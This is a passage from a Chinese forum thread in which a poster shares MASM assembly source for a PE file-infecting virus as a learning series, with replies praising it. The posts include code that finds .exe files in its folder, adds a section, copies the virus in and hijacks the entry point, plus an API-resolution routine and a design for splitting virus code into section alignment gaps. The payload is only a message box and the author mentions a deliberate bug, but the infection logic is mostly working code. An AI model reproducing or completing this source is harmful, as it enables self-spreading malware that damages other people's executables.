在你写好的病毒中,如果你让它有输入表也可以。这样编译后的可执行文件所有api的调用都变成硬编码的地址。当病毒试图把自己copy到宿主文件时,宿主文件中写入的是原始病毒文件中的函数地址。跟宿主文件自身内存空间中各个函数地址可能不一样。故需要重新定位各个函数的地址。
这个的原理就跟病毒中的变量要重定位一样。
yangbostar 4 2010-10-30 12:30
30
0
提出这个问题说明你根本没有看我的“前置病毒”的代码,它的感染方式是这样的,首先建立空文件,然后将自己先写入文件,然后将宿主文件追加到文件尾。
运行时,病毒执行完,会在临时文件夹创建一个文件,将原来的宿主文件写入,然后创建新进程,使之运行。

所以我们看到,病毒和宿主文件运行时都有完整的PE结构,自然有都有自己的输入表,哪里还用重定位
yangbostar 4 2010-10-30 13:26
31
0
原本这一篇应该和上一篇同时发,但是我的原来代码写得很烂,而且由于我的目标是编写一个“追加病毒”框架,代码又要具备良好的模块特征。这两天改来改去,已经头脑混乱了,所以还是先发文章把原来的代码挂上,有时间再改,我会配上说明。

  另外提一句,我把一个bug写再AddSection这个函数里,很多教学码也故意写这个错误,这个错误本意是修改由于PE文件头的修改使“xx值”应适当变化,实际写入的是空位置,这个值不应该变化,这个画蛇添足的行为会导致被感染文件出现一个对齐问题的错误,使系统认为它不是一个有效文件。自己独立写出一个AddSection函数(汇编里不叫函数,应该叫过程),是很有好处的。

  如果你水平足够修改这个bug,并不是所有被感染.exe文件都能正常运行,由于这只是一个练习病毒,缺少很多东西,我测试时用的是《格式工厂》,建议使用这个。测试时留个备份,这个测试病毒只会感染自己所在文件夹里.exe文件。

;///////////////////Infect.asm  

;打开病毒程序本身
  push MAX_PATH
  lea  eax,szLocalFilePath
  push eax
  push dword ptr 0h
  call aGetModuleFileNameA
  
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ
  lea  eax,szLocalFilePath
  push eax
  call aCreateFileA
  mov  stLocalFile.hFile,eax
  
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push PAGE_READONLY
  push NULL
  push stLocalFile.hFile
  call aCreateFileMappingA
  mov stLocalFile.hMap,eax
  
  push dword ptr 0h
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_READ
  push stLocalFile.hMap
  call aMapViewOfFile
  mov stLocalFile.ImageBase,eax     

;搜索并打开宿主文件  
  lea eax,fd
  push eax
  PushData DataBase,sFindFirstFileA_Param
  call aFindFirstFileA
  mov hFindFirstFile,eax
  mov ecx,3h
Find_NextFile:
  push ecx  
  push dword ptr 0h
  push dword ptr 0h
  push OPEN_EXISTING
  push dword ptr 0h
  push FILE_SHARE_READ
  push GENERIC_READ OR GENERIC_WRITE
  lea  eax,fd.cFileName
  push eax
  call aCreateFileA
TestFile:   
  cmp eax,INVALID_HANDLE_VALUE
  jnz SearchFileEnd
  lea eax,fd
  push eax
  push hFindFirstFile
  call aFindNextFileA
  pop ecx
  loop Find_NextFile
  jmp UnloadLocalFile
SearchFileEnd:
  mov stHostFile.hFile,eax
  
  push dword ptr NULL
  push stHostFile.hFile
  call aGetFileSize
  mov  HostFileSize,eax

  add  HostFileSize,1000h
  
  push dword ptr NULL
  push HostFileSize
  push dword ptr 0h
  push PAGE_READWRITE
  push dword ptr NULL
  push stHostFile.hFile
  call aCreateFileMappingA
  mov stHostFile.hMap,eax
   
  push HostFileSize
  push dword ptr 0h
  push dword ptr 0h
  push FILE_MAP_WRITE or FILE_MAP_READ
  push stHostFile.hMap
  call aMapViewOfFile
  mov stHostFile.ImageBase,eax
  
;修改PE头,增加PE节,调用My_Function.asm里的 AddSection
;该函数返回新增节首地址,病毒代码写在这里
  push dword ptr VirusSize
  PushData DataBase,sNewSectionName
  push stHostFile.ImageBase
  call AddSection
;提取新节的一些关键值  
  mov  NewSectionTable,eax
  push dword ptr[eax+14h]
  pop Virus_OEP_File_Offset
  push dword ptr[eax+0ch]
  pop Virus_OEP_Map_Offset
  
;注入代码
  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  mov esi,DataBase
  sub esi,offset Data-offset Start
  mov ecx,VirusSize
Copy_CodeOfVirus:
  lodsb
  stosb
  loop Copy_CodeOfVirus
  mov eax,NewSectionTable
  mov ecx,[eax+10h]
  sub ecx,dword ptr VirusSize
  xor eax,eax
  rep stosb
;修改写入新入口点,保存就入口点
  mov edi,stHostFile.ImageBase
  mov edi,[edi+3ch]
  add edi,stHostFile.ImageBase
  mov esi,NewSectionTable
  push dword ptr[edi+28h]   
  push dword ptr[esi+0ch]
  pop  dword ptr[edi+28h]
   

  mov edi,Virus_OEP_File_Offset
  add edi,stHostFile.ImageBase
  add edi,offset Data-offset Start
  add edi,aOEP_HostFile
  pop dword ptr[edi]
  mov esi,stHostFile.ImageBase
  mov esi,[esi+3ch]
  add esi,stHostFile.ImageBase
  mov eax,[esi+34h]
  add [edi],eax

;/////////////////////////////My_Function.asm
My_Get_API_Address proc uses ebx ecx edi esi, Base:dword,sFunctionName:dword
LOCAL NumberOfName:dword
LOCAL AddressOfFunctions:dword
LOCAL AddressOfNames:dword
LOCAL AddressOfOrdinarls:dword
;定位输出表
  mov ebx,Base
  mov eax,[ebx+3ch]
  mov eax,[ebx+eax+78h]
  add eax,ebx
;取出输出表中一些有用的值   
  mov  ebx,[eax+18h]
  mov  NumberOfName,ebx
  mov  ebx,[eax+1ch]
  add  ebx,Base
  mov  AddressOfFunctions,ebx
  mov  ebx,[eax+20h]
  add  ebx,Base
  mov  AddressOfNames,ebx
  mov  ebx,[eax+24h]
  add  ebx,Base
  mov  AddressOfOrdinarls,ebx
;根据函数名找出函数ID
  xor eax,eax
  mov edi,AddressOfNames
  mov ecx,NumberOfName
  
  LoopNumberOfName:
        mov esi,sFunctionName
        push eax
        mov ebx,[edi]
        add ebx,Base
        Match_API:
         mov al,byte ptr[ebx]
         cmp al,[esi]
         jnz Not_Match
         or al,0h
         jz GetKernel_API_Index_Found
         inc ebx
         inc esi
         jmp Match_API
        Not_Match:
        pop eax
        inc eax
        add edi,4h
  loop LoopNumberOfName
GetKernel_API_Index_Found:
  pop eax  
;用函数ID找出函数入口点  
Get_API_Address:  
  mov ebx,AddressOfOrdinarls
  movzx eax,word ptr[ebx+eax*2]
  imul eax,4h
  add  eax,AddressOfFunctions
  mov  eax,[eax]
  add  eax,Base
  ret
My_Get_API_Address endp

AddSection proc uses ebx ecx edi esi, ImageBase:LPVOID,sSectionName:LPVOID,dwSectionSize:DWORD
LOCAL pNt_Header:dword
LOCAL FileAlignment:dword
LOCAL MapAlignment:dword
;定位NT头
  mov esi,ImageBase
  mov esi,[esi+3ch]
  add esi,ImageBase
  mov pNt_Header,esi
;取NT头的一些值FileAlignment、SectionAlignment、NumberOfSection,且NumberOfSection加一
  movzx ecx,word ptr[esi+06h]  
  inc dword ptr [esi+06h]
  push dword ptr[esi+38h]
  pop MapAlignment
  push dword ptr[esi+3ch]
  pop FileAlignment

;到新区块表其实地址
  mov eax,sizeof IMAGE_SECTION_HEADER
  mul ecx
  add esi,eax
  add esi,sizeof IMAGE_NT_HEADERS

;////////////////////////////////向新区块表写入数据
;写入name:节名称
  push esi
  lea edi, [esi]
  mov esi,sSectionName
  mov ecx,8h
CopySectionNameLoop:   
  lodsb
  stosb  
  loop CopySectionNameLoop
  pop esi
;写入VirtualSize
  push dwSectionSize
  pop  dword ptr[esi+08h]
;写入VirtualAddress:镜像相当虚拟地址
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  push MapAlignment
  push dword ptr[esi+08h]
  call PE_Align
  add eax,[esi+0ch]
  pop esi
  mov [esi+0ch],eax
;写入SizeOfRawData:文件对齐后大小
  push FileAlignment
  push dwSectionSize
  call PE_Align
  mov [esi+10h],eax
;写入PointerToRawData
  push esi
  sub esi,sizeof IMAGE_SECTION_HEADER
  mov eax,[esi+10h]
  add eax,[esi+14h]
  pop esi
  mov [esi+14h],eax
;写入PointerToRelocation、PointerToLinenumbers、NumberOfReloations、NumberOfLinenumbers
;:对Exe非调试文件无意义,写为0
  xor eax,eax
  mov [esi+18h],eax
  mov [esi+1ch],eax
  mov [esi+20h],ax
  mov [esi+22h],ax      
;写入Charcteristics:属性
  push 60000020h
  pop dword ptr[esi+24h]
;////////////////////////////新节表写完,在修改NT头
  mov edi,pNt_Header
  mov eax,[esi+10h]
  add [edi+50h],eax
  mov eax,sizeof IMAGE_SECTION_HEADER   
  add [edi+54h],eax
;返回新节表位置
  mov eax,esi  
  ret
endp
PE_Align proc uses ecx edx, dwTarNum : DWORD, dwAlignTo : DWORD
     mov ecx, dwAlignTo
     mov eax, dwTarNum
     xor edx, edx
     div ecx
     cmp edx, 0
     jz AlreadyAligned
     inc eax
AlreadyAligned:
     mul ecx      
     ret

PE_Align endp  

;/////////////////////////////////Destory.asm

DestoryModule:  
  push MB_OK
  PushData DataBase,sCaption
  PushData DataBase,sContext
  push NULL
  call aMessageBoxA
DestoryModule_End:

;////////////////////////////CleanUp_and_jmp.asm

  push stHostFile.ImageBase
  call aUnmapViewOfFile
  push stHostFile.hMap
  call aCloseHandle
  push stHostFile.hFile
  call aCloseHandle
UnloadLocalFile:

  push stLocalFile.ImageBase
  call aUnmapViewOfFile
  push stLocalFile.hMap
  call aCloseHandle
  push stLocalFile.hFile
  call aCloseHandle
  
  mov eax,DataBase
  add eax,aOEP_HostFile
  jmp dword ptr[eax]

;////////////////////////////My_Macro.asm

PE_FileInformation struct
hFile HANDLE 0h
hMap HANDLE 0h
ImageBase LPVOID 0h
PE_FileInformation ends

PushData macro Base,OffsetAddress
  mov eax,Base
  add eax,OffsetAddress
  push eax
ENDM

Using_API_LoadLibraryA macro Value,Base,OffsetAddress
  PushData Base,OffsetAddress
  call aLoadLibraryA
  mov Value,eax
ENDM

Using_API_GetProcAddress macro Value,Base,OffsetAddress,hDLL
  PushData Base,OffsetAddress
  Push hDLL
  call aGetProcAddress
  mov Value,eax
ENDM

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/10/30/5975966.aspx
上传的附件:
Mx¢Xgt 7 2010-10-30 13:38
32
0
顶,楼主Q多少
Greater 2010-10-30 14:45
33
0
很好很强大
膜拜楼住
panti 2010-10-30 15:19
34
0
又见感染自身的virus
yangbostar 4 2010-10-31 10:54
35
0
首先感谢你仔细看了代码,但你说的这种想象不会出现,因为在搜索宿主文件之前,病毒已经用CreateFile以“只读共享方式”打开自身,搜索宿主文件是用CreateFile以“可读可写方式”打开文件,如果它搜索到自己本身的文件,会打开失败,然后转向搜索其他文件
rerefrancd 1 2010-11-19 13:53
36
0
期待下一贴
yangbostar 4 2010-11-27 17:01
37
0
这类病毒名字很多,选这个名字主要是它比较形象说明其感染方式,即将病毒代码分成多份,分别注入到程序各节由于对齐产生的空白中。

1.核心——病毒描述表

  将病毒代码分割成多份,分别注入到未知地址的区域内,却能完整运行。这看似神奇,其实实现方法却很简单———建立病毒分割描述表

病毒分割描述表举例(汇编):

Virus_Distribution struct;病毒片段描述符

   Code_Base     dword  0;该病毒片段的起始地址
   Code_Length  dword  0;该病毒片段的长度
Virus_Distribution ends

Distribution_Number=0AH  

  Virus_Distribution<401000h,VirusSize> ;病毒本身第一次编译时,必然和一般程序一样EOP默认是401000h,

                                                                 ;长度VirusSize,且没有被分割
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>
  Virus_Distribution<0,0>

分析:这里使用固定十组病毒片段描述符,因为PE文件节的个数很少能超过十个。当然也可使用根据文件节数相应调整的描述表,但是这样不但要增加这对病毒描述操作的代码。

2.病毒运行方案

   由于代码分成多份,散乱的分布在文件中,怎么能将病毒连接起来运行呢,严格说方法很多,但比较简单可行的有两种方案:

   ①物理连接:建立初始化引擎,申请一块连续的空白区域,把按照病毒描述表所有片段按顺序拷贝到哪里,具体方方法                           

                     CreateFileMappingA,也可抬高堆栈

   ②逻辑连接:建立地址转换引擎,根据病毒描述表进行地址转换,让病毒代码逻辑上认为自己运行在连续的内存区域里

   引擎设计的注意的问题:①引擎本身不可被分割,插入时应专门为引擎检查,空白区域是否能完整地容纳下引擎代码。

                                    ②引擎应该尽量小,因为空白区域是由于文件对齐产生的,对齐值默认200H。

举例(汇编):

Start:

;病毒初始化引擎////////////////////////////////
Engine_for_Initialization proc
   push ebp
   mov  ebp,esp        
   sub  esp,VirusStackSize;抬高堆栈
   call Initialize_Virus_Code

Distribution_of_Virus_Code_Table:;病毒代码分布表,使用结构体描述。固定十组,
Distribution_Offset=$-Start
Distribution_Number=0Ah
Virus_Distribution<401000h,VirusSize>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>
Virus_Distribution<0,0>

Initialize_Virus_Code:
   pop  ebx
   xor  eax,eax
   lea  edi,[esp]

Copy_Next_CodeSection:  
   mov  esi,[ebx+eax*(sizeof Virus_Distribution)]
   and  esi,esi
   jz   Initialize_End
   mov  ecx,[ebx+eax*(sizeof Virus_Distribution)+4]
Copy_Virus_Code:
   lodsb
   stosb
loop Copy_Virus_Code  
   inc  eax
   cmp  eax,0Ah
   jnz  Copy_Next_CodeSection
   Initialize_End:
;跳转到堆栈中的病毒代码,执行完返回宿主程序原入口点
   mov  eax,esp
   add  eax,VirusEngine_Size
   call eax
;跳转到宿主程序
  Jmp_Host_File:
   jmp  eax
Engine_for_Initialization endp
VirusEngine_Size =$-Start

;真正的病毒代码/////////////////////////////////////////////////
VirusCode proc uses ebx ecx edx esi edi
Include Data_and_Relocation.asm
Include Infect_HostFile.asm
Include Destory.asm
mov  eax,Local_HostFile_OEP
ret
VirusCode endp
VirusSize =$-Start

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/yangbostar/archive/2010/11/27/6039603.aspx
dlmu 1 2010-12-20 12:42
38
0
lz能不能总结成PDF,这样看很累
yangbostar 4 2010-12-20 12:52
39
0
我的博客http://blog.csdn.net/yangbostar格式好一些,pdf一直都没做是因为有些地方写的不够简洁,最近比较贪玩,没有时间改
高军 2010-12-21 08:59
40
0
好东西,一定要看看
lyricC 2010-12-21 09:05
41
0
mark--------------------
binarystar 3 2010-12-21 13:30
42
0
我是来围观楼主说的国外的XXXX神秘技术的
dplayer 1 2010-12-21 16:25
43
0
。同围观。
yangbostar 4 2010-12-22 18:46
44
0
不好意思,最快得一月份能写出一部分。但是跟病毒框架无关
maplelxf 2010-12-23 11:07
45
0
写的不错,学习一下,
guxinyi 5 2010-12-28 15:27
46
0
顶LZ
看着都懂,都是些常用技术,,如果自己写的话,肯定要遇到些困难,,
哈哈,,
先标记起,,
等以后对**不满了, 哥哥就写几个病毒奉献奉献
yoke 2010-12-30 14:07
47
0
我还是喜欢把病毒分成片段插入感染。
低调flying 2010-12-30 16:42
48
0
帮顶!谢谢楼主分享!感谢楼主的辛苦工作!
yangbostar 4 2010-12-30 18:21
49
0
PE病毒学习(八)就是专门讲这个问题
kisbuddy 2011-8-9 16:48
50
0
楼主的博客更是好文不少啊!
游客
登录 | 注册 方可回帖
返回